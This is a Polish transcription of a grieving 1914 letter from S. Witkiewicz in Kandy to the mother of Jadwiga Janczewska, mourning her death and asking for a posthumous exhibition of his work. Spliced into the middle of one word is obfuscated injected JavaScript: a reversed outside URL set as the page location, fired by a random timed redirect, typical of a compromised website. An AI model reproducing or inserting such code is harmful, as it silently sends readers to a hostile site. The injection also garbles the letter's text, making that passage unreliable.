[Koperta z nadrukiem:] Hotel Suisse/KANDY, Ceylon [Adres:] Wielmożna Pani Jadwiga Janczewska / maj.
Leszcze, poczta K ł o d a w a / Królestwo Polskie, Gub. Kaliska / Russia, Europe.

Hotel Suisse, Kandy, [30 VI 1914]

Pani Szanowna i Kochana:

Czemu tu z Nią nie jestem. Co za szkoda, że nie pożyczyłem od Państwa ze 2000 rubli i nie wyjechaliśmy tutaj. Mógłbym zrobić majątek malując te cudowne rzeczy, które tu widzę – zamiast siedzieć w tym parszywym Zakopanem z tą całą hołotą. Bez Niej wszystko tak straszne, że słów nie mam do wyrażenia tego. Czemu Ona, biedaczka, nie widzi tego. To wszystko [w kserokopii ucięta jedna —?— linijka tekstu]

Żeby nasze stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosunki były normalne, żebyśmy wzięli ślub dawniej, byłaby na pewno ze mną szczęśliwa. Nic, tylko straszna miłość do niej i żal okropny. Straszna męka widzenia piękności świata z tym poczuciem, że Jej nie ma i                nigdy nie będzie. Straszna kara, za wielka na moje winy. Niech Pani przebaczy mnie i pomyśli czasem o mnie wspominając Ją.

Całuję ręce Pani i Ojca
S. Witkiewicz

Moje prace, prosiłbym, żeby posłali Państwo na wystawę pośmiertną. Miciński bardzo winien był wszystkiemu. Cóż tamten. Zwykła świnia bez pretensji.

Moje winy najgorsze, bo Ona mnie naprawdę kochała.